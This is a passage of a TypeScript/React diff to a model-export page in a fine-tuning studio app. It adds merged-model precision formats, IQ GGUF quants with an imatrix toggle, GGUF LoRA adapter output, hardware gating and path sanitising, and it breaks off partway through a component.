 export async function exportMerged(params: {
   save_directory: string;
   format_type?: string;
+  /** Compressed-tensors scheme alias (e.g. "fp8", "w4a16", "mxfp4"); overrides format_type. */
+  compressed_method?: string | null;
   push_to_hub?: boolean;
   repo_id?: string | null;
   hf_token?: string | null;
@@ -158,10 +160,13 @@ export async function exportBase(params: {
 
 export async function exportGGUF(params: {
   save_directory: string;
-  quantization_method: string;
+  /** A single GGUF quant method or a list (list produces multiple GGUFs from one model load). */
+  quantization_method: string | string[];
   push_to_hub?: boolean;
   repo_id?: string | null;
   hf_token?: string | null;
+  imatrix?: boolean;
+  imatrix_path?: string | null;
 }): Promise<ExportOperationResponse> {
   const response = await authFetch("/api/export/export/gguf", {
     method: "POST",
@@ -177,6 +182,10 @@ export async function exportLoRA(params: {
   repo_id?: string | null;
   hf_token?: string | null;
   private?: boolean;
+  /** Also convert the adapter to a GGUF LoRA file (llama.cpp `--lora`). */
+  gguf?: boolean;
+  /** GGUF LoRA output float type (f32/f16/bf16/q8_0/auto); only used when gguf=true. */
+  gguf_outtype?: string;
 }): Promise<ExportOperationResponse> {
   const response = await authFetch("/api/export/export/lora", {
     method: "POST",
@@ -425,5 +434,12 @@ export async function streamExportLogs(options: {
   } catch (err) {
     if (isAbortError(err)) return;
     throw err;
+  } finally {
+    // Release the stream lock now instead of leaking the reader until GC.
+    try {
+      await reader.cancel();
+    } catch {
+      // already closed
+    }
   }
 }
diff --git a/studio/frontend/src/features/export/components/export-run-panel.tsx b/studio/frontend/src/features/export/components/export-run-panel.tsx
index 9e0edf7303..29ba5a703b 100644
--- a/studio/frontend/src/features/export/components/export-run-panel.tsx
+++ b/studio/frontend/src/features/export/components/export-run-panel.tsx
@@ -28,7 +28,11 @@ import {
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useEffect, useRef, useState } from "react";
 import { useShallow } from "zustand/react/shallow";
-import { EXPORT_METHODS, type ExportMethod } from "../constants";
+import {
+  EXPORT_METHODS,
+  type ExportMethod,
+  findMergedFormat,
+} from "../constants";
 import type { ExportLogEntry } from "../api/export-api";
 import { getExportLogLineClass } from "../lib/log-style";
 import {
@@ -200,6 +204,9 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
   const summaryMethodLabel = summary?.methodLabel ?? methodTitle;
   const summaryQuants = summary?.quantLevels ?? quantLevels;
   const summaryMethod = summary?.method ?? exportMethod;
+  const summaryFormats = (summary?.mergedFormats ?? []).map(
+    (v) => findMergedFormat(v)?.label ?? v,
+  );
   const showProgress = isExporting || isTerminal;
 
   return (
@@ -392,14 +399,32 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
                 ? "Export finished and pushed to Hugging Face Hub."
                 : "Export finished successfully."}
             </span>
-            {run.result?.outputPath ? (
-              <code
-                className="select-all break-all font-mono text-[12px] text-foreground/90"
-                title={run.result.outputPath}
-              >
-                {run.result.outputPath}
-              </code>
-            ) : null}
+            {(() => {
+              // List every folder written; a multi-format merged run created one per format.
+              const paths = run.result?.outputPaths ?? [];
+              const items =
+                paths.length > 0
+                  ? paths
+                  : run.result?.outputPath
+                    ? [{ label: "", path: run.result.outputPath }]
+                    : [];
+              const showLabels = items.length > 1;
+              return items.map((o, i) => (
+                <div key={`${o.path}-${i}`} className="flex min-w-0 flex-col gap-0.5">
+                  {showLabels && o.label ? (
+                    <span className="text-xs text-emerald-700/80 dark:text-emerald-300/80">
+                      {o.label}
+                    </span>
+                  ) : null}
+                  <code
+                    className="select-all break-all font-mono text-[12px] text-foreground/90"
+                    title={o.path}
+                  >
+                    {o.path}
+                  </code>
+                </div>
+              ));
+            })()}
           </div>
         </div>
       )}
@@ -432,6 +457,14 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
           <span>Export Method</span>
           <span className="font-medium text-foreground">{summaryMethodLabel}</span>
         </div>
+        {summaryMethod === "merged" && summaryFormats.length > 0 && (
+          <div className="flex justify-between gap-3">
+            <span>Formats</span>
+            <span className="font-medium text-foreground text-right">
+              {summaryFormats.join(", ")}
+            </span>
+          </div>
+        )}
         {summaryMethod === "gguf" && summaryQuants.length > 0 && (
           <div className="flex justify-between">
             <span>Quantizations</span>
diff --git a/studio/frontend/src/features/export/constants.ts b/studio/frontend/src/features/export/constants.ts
index 9b7e487450..be9080ba14 100644
--- a/studio/frontend/src/features/export/constants.ts
+++ b/studio/frontend/src/features/export/constants.ts
@@ -39,7 +39,12 @@ export const QUANT_OPTIONS: {
   value: string;
   label: string;
   recommended?: boolean;
+  imatrix?: boolean; // IQ quants require an importance matrix (the imatrix toggle below)
 }[] = [
+  { value: "iq2_xxs", label: "IQ2_XXS", imatrix: true },
+  { value: "iq2_m", label: "IQ2_M", imatrix: true },
+  { value: "iq3_xxs", label: "IQ3_XXS", imatrix: true },
+  { value: "iq4_xs", label: "IQ4_XS", imatrix: true },
   { value: "q2_k_l", label: "Q2_K_L" },
   { value: "q3_k_m", label: "Q3_K_M" },
   { value: "q4_k_m", label: "Q4_K_M", recommended: true },
@@ -50,12 +55,182 @@ export const QUANT_OPTIONS: {
   { value: "f16", label: "F16" },
 ];
 
+/**
+ * Merged-export precision formats, sorted by bit width. Three backends:
+ *   - "plain":      standard save (16-bit); `formatType` is the backend `format_type`.
+ *   - "compressed": llm-compressor compressed-tensors (vLLM), NVIDIA-only; `value` is the alias.
+ *   - "torchao":    portable FP8/INT8, no NVIDIA GPU needed; `value` is the alias.
+ * `common` entries are quick pills, the rest the "More formats" dropdown; `needsNvidia` entries
+ * are hidden on non-NVIDIA hardware.
+ */
+export type MergedBackend = "plain" | "compressed" | "torchao";
+
+export type MergedFormatOption = {
+  value: string;
+  label: string;
+  bits: number;
+  backend: MergedBackend;
+  group: string;
+  common: boolean;
+  needsNvidia: boolean;
+  needsCalibration?: boolean;
+  hint: string;
+  /** Backend `format_type` for a "plain" save (unused for compressed/torchao). */
+  formatType?: string;
+};
+
+/** Kept as a string alias for back-compat with callers that typed the old union. */
+export type MergedFormat = string;
+
+export const MERGED_FORMATS: MergedFormatOption[] = [
+  // 16-bit
+  {
+    value: "16-bit",
+    label: "16-bit",
+    bits: 16,
+    backend: "plain",
+    group: "16-bit",
+    common: true,
+    needsNvidia: false,
+    hint: "Full precision, runs anywhere.",
+    formatType: "16-bit (FP16)",
+  },
+  // 8-bit
+  {
+    value: "fp8",
+    label: "FP8",
+    bits: 8,
+    backend: "compressed",
+    group: "FP8",
+    common: true,
+    needsNvidia: true,
+    hint: "Dynamic per-token FP8 (W8A8) for vLLM. Data-free.",
+  },
+  {
+    value: "torchao_fp8",
+    label: "FP8 (portable)",
+    bits: 8,
+    backend: "torchao",
+    group: "Portable",
+    common: true,
+    needsNvidia: false,
+    hint: "Device-agnostic FP8 (torchao). Produces on any hardware; loads in vLLM.",
+  },
+  {
+    value: "w8a8",
+    label: "INT8 (W8A8)",
+    bits: 8,
+    backend: "compressed",
+    group: "INT",
+    common: true,
+    needsNvidia: true,
+    hint: "8-bit weights and 8-bit activations for vLLM. Data-free.",
+  },
+  {
+    value: "torchao_int8",
+    label: "INT8 (portable)",
+    bits: 8,
+    backend: "torchao",
+    group: "Portable",
+    common: true,
+    needsNvidia: false,
+    hint: "Device-agnostic INT8 (torchao). Produces on any hardware; loads in vLLM.",
+  },
+  {
+    value: "fp8_static",
+    label: "FP8 Static",
+    bits: 8,
+    backend: "compressed",
+    group: "FP8",
+    common: false,
+    needsNvidia: true,
+    needsCalibration: true,
+    hint: "Static per-tensor FP8. Calibrates on data.",
+  },
+  {
+    value: "w8a16",
+    label: "INT8 (W8A16)",
+    bits: 8,
+    backend: "compressed",
+    group: "INT",
+    common: false,
+    needsNvidia: true,
+    hint: "8-bit weight-only. Data-free.",
+  },
+  {
+    value: "mxfp8",
+    label: "MXFP8",
+    bits: 8,
+    backend: "compressed",
+    group: "MXFP",
+    common: false,
+    needsNvidia: true,
+    hint: "Microscaling FP8. Needs a newer compressed-tensors stack.",
+  },
+  // 4-bit
+  {
+    value: "w4a16",
+    label: "INT4 (W4A16)",
+    bits: 4,
+    backend: "compressed",
+    group: "INT",
+    common: true,
+    needsNvidia: true,
+    hint: "4-bit weight-only (GPTQ-style) for vLLM. Data-free.",
+  },
+  {
+    value: "mxfp4",
+    label: "MXFP4",
+    bits: 4,
+    backend: "compressed",
+    group: "MXFP",
+    common: true,
+    needsNvidia: true,
+    hint: "Microscaling FP4 (W4A4) for vLLM. Data-free.",
+  },
+  {
+    value: "nvfp4",
+    label: "NVFP4",
+    bits: 4,
+    backend: "compressed",
+    group: "FP4",
+    common: true,
+    needsNvidia: true,
+    needsCalibration: true,
+    hint: "NVIDIA FP4 (W4A4) for vLLM. Calibrates on data.",
+  },
+];
+
+/** Look up a merged format option by its stable value. */
+export function findMergedFormat(value: string): MergedFormatOption | undefined {
+  return MERGED_FORMATS.find((f) => f.value === value);
+}
+
+/** Backend payload for one merged format: plain -> formatType, compressed/torchao -> the alias. */
+export function mergedFormatPayload(value: string): {
+  formatType: string;
+  compressedMethod: string | null;
+} {
+  const opt = findMergedFormat(value);
+  if (!opt || opt.backend === "plain") {
+    return {
+      formatType: opt?.formatType ?? "16-bit (FP16)",
+      compressedMethod: null,
+    };
+  }
+  return { formatType: "16-bit (FP16)", compressedMethod: opt.value };
+}
+
 /**
  * llama.cpp effective bits-per-weight per quant; GGUF size ~= fp16_bytes * bpw / 16.
  * K-quant values are published average bit-rates (Q2_K_L = Unsloth Q2_K + Q8_0
  * embeddings). Approximate ("~"), not exact file sizes.
  */
 export const GGUF_BPW: Record<string, number> = {
+  iq2_xxs: 2.06,
+  iq2_m: 2.7,
+  iq3_xxs: 3.06,
+  iq4_xs: 4.25,
   q2_k_l: 3.35,
   q3_k_m: 3.91,
   q4_k_m: 4.83,
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index 7d38d9b222..07606a26ed 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -3,6 +3,7 @@
 
 import { SectionCard } from "@/components/section-card";
 import { Button } from "@/components/ui/button";
+import { Switch } from "@/components/ui/switch";
 import {
   Combobox,
   ComboboxContent,
@@ -23,6 +24,19 @@ import {
   SelectTrigger,
   SelectValue,
 } from "@/components/ui/select";
+import {
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuLabel,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
+import {
+  Alert,
+  AlertDescription,
+  AlertTitle,
+} from "@/components/ui/alert";
 import { Separator } from "@/components/ui/separator";
 import { Spinner } from "@/components/ui/spinner";
 import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
@@ -61,9 +75,15 @@ import {
   EXPORT_METHODS,
   type ExportMethod,
   GUIDE_STEPS,
+  MERGED_FORMATS,
+  type MergedFormatOption,
+  mergedFormatPayload,
+  QUANT_OPTIONS,
   buildQuantSizeLabels,
   getEstimatedSize,
 } from "./constants";
+import { useHardwareInfo } from "@/hooks/use-hardware-info";
+import { usePlatformStore } from "@/config/env";
 import {
   isExportPanelActive,
   useExportRuntimeStore,
@@ -74,19 +94,51 @@ import { exportTourSteps } from "./tour";
 
 const SEARCH_INPUT_REASONS = new Set(["input-change", "input-paste", "input-clear"]);
 
+// GGUF LoRA output float types (Q8_0 first / default). Q8_0 falls back to F16 per tensor for dims
+// not divisible by the block size (32); no "auto" - the choice is explicit.
+const LORA_GGUF_OUTTYPES = ["q8_0", "f16", "bf16", "f32"] as const;
+
 type SourceTab = "local" | "checkpoint" | "hf";
+type SourceMode = "checkpoint" | "model";
+
+
+function safePathSegment(
+  value: string | null | undefined,
+  fallback = "model",
+  maxLength = 250,
+): string {
+  const safe = (value ?? "")
+    .replace(/[^a-zA-Z0-9._-]/g, "-")
+    .replace(/^[._-]+|[._-]+$/g, "")
+    .slice(0, maxLength)
+    .replace(/[._-]+$/g, "");
+  return safe || fallback;
+}
 
 function buildRelativeSaveDirectory(
   exportMethod: ExportMethod | null,
+  sourceMode: SourceMode,
   sourceBaseModelName: string,
   selectedModelIdx: string | null,
   checkpoint: string | null,
 ): string {
   if (exportMethod === "gguf") {
-    return `${(sourceBaseModelName.split("/").pop() ?? selectedModelIdx ?? "model")
-      .replace(/[^a-zA-Z0-9._-]/g, "-")}-GGUF`;
+    const rawName =
+      sourceMode === "checkpoint"
+        ? checkpoint ?? selectedModelIdx ?? sourceBaseModelName
+        : sourceBaseModelName;
+    return `${safePathSegment(rawName)}-GGUF`;
   }
-  return `${selectedModelIdx ?? "model"}/${checkpoint}`;
+  // Merged / LoRA: a checkpoint keeps the "<run>/<checkpoint>" layout under outputs.
+  if (sourceMode === "checkpoint" && selectedModelIdx && checkpoint) {
+    return `${selectedModelIdx}/${checkpoint}`;
+  }
+  // Local / HF source (no checkpoint): name from the model id to avoid "model/null".
+  const rawName =
+    sourceMode === "checkpoint"
+      ? checkpoint ?? selectedModelIdx ?? sourceBaseModelName
+      : sourceBaseModelName;
+  return `${safePathSegment(rawName)}-${exportMethod === "lora" ? "adapter" : "merged"}`;
 }
 
 function siblingGgufDirectory(sourcePath: string): string | null {
@@ -125,9 +177,7 @@ export function ExportPage() {
 
   const [selectedModelIdx, setSelectedModelIdx] = useState<string | null>(null);
   const [checkpoint, setCheckpoint] = useState<string | null>(null);
-  const [sourceMode, setSourceMode] = useState<"checkpoint" | "model">(
-    "checkpoint",
-  );
+  const [sourceMode, setSourceMode] = useState<SourceMode>("checkpoint");
   const [modelSource, setModelSource] = useState<"hf" | "local">("hf");
   const [modelInput, setModelInput] = useState("");
   const [selectedSourceModel, setSelectedSourceModel] = useState<string | null>(
@@ -154,6 +204,64 @@ export function ExportPage() {
       ? s.summary.quantLevels
       : [];
   });
+  // GGUF importance matrix (required for the IQ quants) and merged-export precision.
+  const [useImatrix, setUseImatrix] = useState(false);
+  // Merged precision: one or more MERGED_FORMATS values, exported in one run. Seed from a live run
+  // so navigating away and back (which remounts this page) keeps the selection, like exportMethod.
+  const [selectedFormats, setSelectedFormats] = useState<string[]>(() => {
+    const s = useExportRuntimeStore.getState();
+    return isExportPanelActive(s) &&
+      s.summary?.method === "merged" &&
+      s.summary.mergedFormats.length > 0
+      ? s.summary.mergedFormats
+      : ["16-bit"];
+  });
+  // LoRA-only export: optionally also emit a GGUF LoRA adapter, and its output float type.
+  const [loraAsGguf, setLoraAsGguf] = useState(false);
+  const [loraGgufOuttype, setLoraGgufOuttype] = useState<string>("q8_0");
+  // GGUF method: export the full model as GGUF quants, or (for an adapter checkpoint) a GGUF LoRA.
+  const [ggufTarget, setGgufTarget] = useState<"model" | "lora">("model");
+
+  const hardware = useHardwareInfo();
+  // GGUF LoRA conversion is rejected on the macOS / MLX path, so gate it out on a Mac host.
+  const isMacHost = usePlatformStore((s) => s.deviceType) === "mac";
+  // Real CUDA (not ROCm); gates the NVIDIA-only compressed-tensors formats.
+  const hasNvidia = hardware.cuda != null && hardware.rocm == null;
+  // Only gray out on an authoritative unsupported response; while unloaded the backend route guard
+  // stays authoritative. The backend supplies the precise reason; the fallback below is a backstop.
+  const exportUnsupported =
+    hardware.loaded && hardware.exportSupported === false;
+  const exportUnsupportedMessage =
+    hardware.exportUnsupportedMessage ??
+    "Export requires a supported accelerator (NVIDIA, AMD, or Intel GPU, or Apple Silicon) with PyTorch or MLX installed.";
+  const availableFormats = useMemo<MergedFormatOption[]>(
+    () =>
+      MERGED_FORMATS.filter((f) => {
+        // compressed-tensors (llm-compressor) is the NVIDIA path; shown only on an NVIDIA GPU.
+        if (f.backend === "compressed") return hasNvidia;
+        // Portable torchao is the fallback for hosts without the NVIDIA compressed path, i.e. a
+        // CPU / non-NVIDIA box. Hidden on NVIDIA (use compressed-tensors) and on macOS/MLX (the
+        // backend rejects quantized export there).
+        if (f.backend === "torchao") return !hasNvidia && !isMacHost;
+        // Plain 16-bit is available everywhere.
+        return true;
+      }),
+    [hasNvidia, isMacHost],
+  );
+  const toggleFormat = useCallback((value: string) => {
+    setSelectedFormats((prev) =>
+      prev.includes(value)
+        ? prev.filter((v) => v !== value)
+        : [...prev, value],
+    );
+  }, []);
+  // availableFormats already drops NVIDIA-only formats on other hardware, so no pruning needed.
+  // IQ quants are imatrix-only: force imatrix on when one is selected, else llama.cpp rejects it.
+  const requiresImatrix = quantLevels.some(
+    (q) => QUANT_OPTIONS.find((o) => o.value === q)?.imatrix,
+  );
+  const effectiveImatrix = useImatrix || requiresImatrix;
+
   // Whether the inline export panel is expanded. The panel also shows itself
   // whenever a run is active/terminal (see `panelActive`), so it survives
   // navigation even though this local flag resets on remount.
@@ -273,6 +381,11 @@ export function ExportPage() {
   const baseModelName = selectedModelData?.base_model ?? "—";
   const isAdapter = !!selectedModelData?.peft_type;
   const isQuantized = !!selectedModelData?.is_quantized;
+  // isAdapter / isQuantized come from the checkpoint's metadata and are stale in "model" source
+  // mode (a direct base export), so treat both as false outside checkpoint mode to avoid wrongly
+  // gating the methods.
+  const effectiveIsAdapter = sourceMode === "checkpoint" && isAdapter;
+  const effectiveIsQuantized = sourceMode === "checkpoint" && isQuantized;
   const loraRank = selectedModelData?.lora_rank ?? null;
   const trainingMethodLabel = selectedModelData?.peft_type
     ? "LoRA / QLoRA"
@@ -385,25 +498,30 @@ export function ExportPage() {
     setCheckpoint(null);
   }, [selectedModelIdx]);
 
-  // For a ?run= deep link, default to the run's main checkpoint. Declared after
-  // the reset effect above so it runs last and isn't clobbered back to null.
+  // Default to the newest checkpoint when none is chosen (checkpoints are sorted newest-first).
+  // Declared after the reset effect above so it runs last and isn't clobbered back to null. Covers
+  // both a ?run= deep link and a plain finetune opened without an explicit checkpoint pick.
   useEffect(() => {
-    if (appliedRunRef.current == null) return;
-    if (appliedRunRef.current !== selectedModelIdx) return;
+    if (sourceMode !== "checkpoint") return;
     if (checkpoint != null || checkpointsForModel.length === 0) return;
     setCheckpoint(checkpointsForModel[0].display_name);
-  }, [selectedModelIdx, checkpoint, checkpointsForModel]);
+  }, [sourceMode, selectedModelIdx, checkpoint, checkpointsForModel]);
 
   // Auto-reset export method if incompatible with the selected model type
   useEffect(() => {
-    if (!isAdapter && (exportMethod === "merged" || exportMethod === "lora")) {
+    // Only LoRA needs a real adapter; Merged and GGUF work for non-PEFT base models too.
+    if (!effectiveIsAdapter && exportMethod === "lora") {
       setExportMethod(null);
     }
     // Quantized non-PEFT models can't export to any format
-    if (!isAdapter && isQuantized && exportMethod !== null) {
+    if (!effectiveIsAdapter && effectiveIsQuantized && exportMethod !== null) {
       setExportMethod(null);
     }
-  }, [isAdapter, isQuantized, exportMethod]);
+    // The GGUF LoRA target only applies to an adapter checkpoint on a non-Mac host.
+    if ((!effectiveIsAdapter || isMacHost) && ggufTarget !== "model") {
+      setGgufTarget("model");
+    }
+  }, [effectiveIsAdapter, effectiveIsQuantized, exportMethod, isMacHost, ggufTarget]);
 
   const handleSourceTabChange = useCallback((next: string) => {
     if (next === "checkpoint") {
@@ -411,7 +529,7 @@ export function ExportPage() {
     } else if (next === "hf" || next === "local") {
       setSourceMode("model");
       setModelSource(next);
-      setExportMethod("gguf");
+      // Don't force GGUF: Local / HF sources can export Merged too; a stale LoRA pick auto-resets.
     } else {
       return;
     }
@@ -449,6 +567,7 @@ export function ExportPage() {
   const defaultSaveDirectory = useMemo(() => {
     const relative = buildRelativeSaveDirectory(
       exportMethod,
+      sourceMode,
       sourceBaseModelName,
       selectedModelIdx,
       checkpoint,
@@ -476,10 +595,26 @@ export function ExportPage() {
     sourceMode,
   ]);
   const saveDirectory = customSaveDirectory?.trim() || defaultSaveDirectory;
+  // Each merged format uploads a full model to the repo root, so several to one repo would collide.
+  // GGUF method exporting an adapter checkpoint as a GGUF LoRA (vs full-model quants). Reuses the
+  // LoRA-adapter export path; no quant list needed.
+  const ggufAsLora =
+    exportMethod === "gguf" &&
+    ggufTarget === "lora" &&
+    effectiveIsAdapter &&
+    !isMacHost;
+
+  // Restrict a Hub merged export to a single format; multi-format stays available for local export.
+  const hubMultiFormat =
+    destination === "hub" && exportMethod === "merged" && selectedFormats.length > 1;
+
   const canExport = !!(
     selectedExportSource &&
     exportMethod &&
-    (exportMethod !== "gguf" || quantLevels.length > 0)
+    !exportUnsupported &&
+    !hubMultiFormat &&
+    (exportMethod !== "gguf" || ggufAsLora || quantLevels.length > 0) &&
+    (exportMethod !== "merged" || selectedFormats.length > 0)
   );
 
   const applyHfSourceModel = useCallback((value: string) => {
@@ -544,9 +679,14 @@ export function ExportPage() {
   const handleStart = useCallback(async () => {
     const source = sourceMode === "checkpoint" ? checkpoint : selectedSourceModel;
     if (!source || !exportMethod) return;
-    // A GGUF export with no quant selected runs zero exports yet would still
-    // settle as success with no file; require at least one (mirrors canExport).
-    if (exportMethod === "gguf" && quantLevels.length === 0) return;
+    // No supported accelerator (or PyTorch/MLX missing): the backend would reject anyway; don't submit.
+    if (exportUnsupported) return;
+    // GGUF with no quant, or merged with no format, would run an unintended/empty export; require
+    // at least one (mirrors canExport, in case the panel's Start button bypasses the outer one).
+    if (exportMethod === "gguf" && !ggufAsLora && quantLevels.length === 0) return;
+    if (exportMethod === "merged" && selectedFormats.length === 0) return;
+    // A Hub merged push writes each format to the repo root; several would collide (mirrors canExport).
+    if (hubMultiFormat) return;
 
     const selectedCp = sourceMode === "checkpoint"
       ? checkpointsForModel.find((cp) => cp.display_name === checkpoint)
@@ -559,8 +699,13 @@ export function ExportPage() {
       ? `${hfUsername}/${modelName}`
       : undefined;
     const token = pushToHub && hfToken ? hfToken : undefined;
-    const methodLabel =
-      EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod;
+    // The GGUF method with the LoRA target reuses the LoRA-adapter export path.
+    const effectiveMethod: ExportMethod = ggufAsLora ? "lora" : exportMethod;
+    const emitLoraGguf =
+      ggufAsLora || (effectiveMethod === "lora" && loraAsGguf && !isMacHost);
+    const methodLabel = ggufAsLora
+      ? "GGUF LoRA adapter"
+      : (EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod);
     const adapterExport = sourceMode === "checkpoint" && isAdapter;
 
     // Consent gate for an HF source's custom (auto_map) code, run before we hand
@@ -592,9 +737,16 @@ export function ExportPage() {
       trustRemoteCode,
       approvedRemoteCodeFingerprint,
       loadToken: hfToken || null,
-      exportMethod,
+      exportMethod: effectiveMethod,
       isAdapter: adapterExport,
       quantLevels,
+      useImatrix: effectiveImatrix,
+      mergedSelections: selectedFormats.map((v) => ({
+        ...mergedFormatPayload(v),
+        label: MERGED_FORMATS.find((f) => f.value === v)?.label ?? v,
+      })),
+      loraGguf: emitLoraGguf,
+      loraGgufOuttype,
       saveDirectory,
       destination,
       repoId,
@@ -605,8 +757,9 @@ export function ExportPage() {
         baseModelName: sourceBaseModelName,
         checkpointLabel: selectedExportSource,
         methodLabel,
-        method: exportMethod,
+        method: effectiveMethod,
         quantLevels,
+        mergedFormats: exportMethod === "merged" ? selectedFormats : [],
         destination,
       },
     });
@@ -621,6 +774,14 @@ export function ExportPage() {
     exportMethod,
     isAdapter,
     quantLevels,
+    effectiveImatrix,
+    selectedFormats,
+    hubMultiFormat,
+    ggufAsLora,
+    loraAsGguf,
+    isMacHost,
+    loraGgufOuttype,
+    exportUnsupported,
     destination,
     saveDirectory,
     hfUsername,
@@ -1127,33 +1288,303 @@ export function ExportPage() {
                 </div>
               </div>
 
+              {exportUnsupported && (
+                <Alert variant="destructive">
+                  <HugeiconsIcon icon={AlertCircleIcon} className="size-4" />
+                  <AlertTitle>Export unavailable</AlertTitle>
+                  <AlertDescription>{exportUnsupportedMessage}</AlertDescription>
+                </Alert>
+              )}
+
               <MethodPicker
                 value={exportMethod}
                 onChange={handleMethodChange}
                 disabledMethods={
-                  !isAdapter && isQuantized
+                  exportUnsupported
                     ? ["merged", "lora", "gguf"]
-                    : !isAdapter || sourceMode === "model"
-                      ? ["merged", "lora"]
-                      : []
+                    : !effectiveIsAdapter && effectiveIsQuantized
+                      ? ["merged", "lora", "gguf"]
+                      : !effectiveIsAdapter
+                        ? ["lora"]
+                        : []
                 }
                 disabledReason={
-                  !isAdapter && isQuantized
-                    ? "Pre-quantized (BNB 4-bit) models cannot be exported without LoRA adapters"
-                    : sourceMode === "model"
-                      ? "Only GGUF export is available for direct model export"
-                      : !isAdapter
-                        ? "Not available for full fine-tune checkpoints (no LoRA adapters)"
+                  exportUnsupported
+                    ? exportUnsupportedMessage
+                    : !effectiveIsAdapter && effectiveIsQuantized
+                      ? "Pre-quantized (BNB 4-bit) models cannot be exported without LoRA adapters"
+                      : !effectiveIsAdapter
+                        ? "LoRA-only export needs a LoRA adapter checkpoint"
                         : undefined
                 }
               />
 
-              {exportMethod === "gguf" && (
-                <QuantPicker
-                  value={quantLevels}
-                  onChange={setQuantLevels}
-                  sizes={quantSizeLabels}
-                />
+              {exportMethod === "merged" && !exportUnsupported && (
+                <div className="space-y-3">
+                  <div className="space-y-2">
+                    <div className="flex items-center justify-between">
+                      <div className="text-sm font-medium">Precision</div>
+                      <span className="text-[11px] text-muted-foreground/70">
+                        — select one or more
+                      </span>
+                    </div>
+                    <div className="flex flex-wrap gap-2">
+                      {availableFormats
+                        .filter((f) => f.common)
+                        .map((f) => {
+                          const active = selectedFormats.includes(f.value);
+                          return (
+                            <Button
+                              key={f.value}
+                              type="button"
+                              variant={active ? "default" : "outline"}
+                              size="sm"
+                              onClick={() => toggleFormat(f.value)}
+                              title={f.hint}
+                            >
+                              {f.label}
+                              {f.needsCalibration ? " *" : ""}
+                            </Button>
+                          );
+                        })}
+
+                      {availableFormats.some((f) => !f.common) && (
+                        <DropdownMenu>
+                          <DropdownMenuTrigger asChild={true}>
+                            <Button type="button" variant="outline" size="sm">
+                              More formats
+                              {selectedFormats.some((v) =>
+                                availableFormats.find(
+                                  (f) => f.value === v && !f.common,
+                                ),
+                              )
+                                ? " ✓"
+                                : "…"}
+                            </Button>
+                          </DropdownMenuTrigger>
+                          <DropdownMenuContent align="start" className="w-64">
+                            <DropdownMenuLabel>
+                              Additional formats
+                            </DropdownMenuLabel>
+                            <DropdownMenuSeparator />
+                            {availableFormats
+                              .filter((f) => !f.common)
+                              .map((f) => (
+                                <DropdownMenuCheckboxItem
+                                  key={f.value}
+                                  checked={selectedFormats.includes(f.value)}
+                                  onCheckedChange={() => toggleFormat(f.value)}
+                                  onSelect={(e) => e.preventDefault()}
+                                >
+                                  <span className="flex flex-col">
+                                    <span>
+                                      {f.label}
+                                      {f.needsCalibration ? " *" : ""}
+                                    </span>
+                                    <span className="text-[10px] text-muted-foreground">
+                                      {f.hint}
+                                    </span>
+                                  </span>
+                                </DropdownMenuCheckboxItem>
+                              ))}
+                          </DropdownMenuContent>
+                        </DropdownMenu>
+                      )}
+                    </div>
+
+                    {selectedFormats.length > 0 && (
+                      <div className="flex flex-wrap items-center gap-x-3 gap-y-1">
+                        <span className="text-[11px] text-muted-foreground">
+                          {selectedFormats.length} selected:{" "}
+                          {selectedFormats
+                            .map(
+                              (v) =>
+                                MERGED_FORMATS.find((f) => f.value === v)
+                                  ?.label ?? v,
+                            )
+                            .join(", ")}
+                        </span>
+                        {selectedFormats.length > 1 && (
+                          <button
+                            type="button"
+                            onClick={() => setSelectedFormats(["16-bit"])}
+                            className="text-[11px] text-muted-foreground/70 hover:text-foreground transition-colors"
+                          >
+                            Reset to 16-bit
+                          </button>
+                        )}
+                      </div>
+                    )}
+
+                    {hubMultiFormat && (
+                      <div className="text-[11px] text-amber-600 dark:text-amber-500">
+                        Hub export supports one format at a time (each writes to
+                        the repository root). Select a single format, or export
+                        locally to produce several at once.
+                      </div>
+                    )}
+
+                    {selectedFormats.some(
+                      (v) =>
+                        MERGED_FORMATS.find((f) => f.value === v)
+                          ?.needsCalibration,
+                    ) && (
+                      <div className="text-[11px] text-muted-foreground">
+                        * calibrates on data (uses a small calibration set).
+                      </div>
+                    )}
+
+                    {!hasNvidia && (
+                      <div className="text-[11px] text-muted-foreground">
+                        No NVIDIA GPU detected: compressed-tensors formats are
+                        hidden. 16-bit and portable FP8/INT8 (torchao) still
+                        work here and load in vLLM.
+                      </div>
+                    )}
+                  </div>
+                </div>
+              )}
+
+              {exportMethod === "lora" && effectiveIsAdapter && !exportUnsupported && (
+                <div className="space-y-3">
+                  <div className="space-y-2">
+                    <div className="text-sm font-medium">Adapter format</div>
+                    <div className="flex flex-wrap gap-2">
+                      <Button
+                        type="button"
+                        variant={!loraAsGguf ? "default" : "outline"}
+                        size="sm"
+                        onClick={() => setLoraAsGguf(false)}
+                        title="Standard PEFT adapter (adapter_model.safetensors)."
+                      >
+                        Adapter (safetensors)
+                      </Button>
+                      <Button
+                        type="button"
+                        variant={loraAsGguf ? "default" : "outline"}
+                        size="sm"
+                        disabled={isMacHost}
+                        onClick={() => setLoraAsGguf(true)}
+                        title={
+                          isMacHost
+                            ? "GGUF LoRA export is not available on macOS/MLX. Use the safetensors adapter."
+                            : "llama.cpp GGUF LoRA, loadable with `llama-cli --lora`."
+                        }
+                      >
+                        GGUF adapter
+                      </Button>
+                    </div>
+                    <div className="text-xs text-muted-foreground">
+                      {isMacHost
+                        ? "GGUF LoRA is not available on macOS/MLX; exporting the safetensors adapter."
+                        : loraAsGguf
+                          ? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate."
+                          : "Standard PEFT adapter files. Pair with the base model at inference."}
+                    </div>
+                  </div>
+
+                  {loraAsGguf && (
+                    <div className="space-y-1.5">
+                      <div className="text-sm font-medium">Output type</div>
+                      <Select
+                        value={loraGgufOuttype}
+                        onValueChange={(v) => setLoraGgufOuttype(v)}
+                      >
+                        <SelectTrigger className="w-full sm:w-56">
+                          <SelectValue />
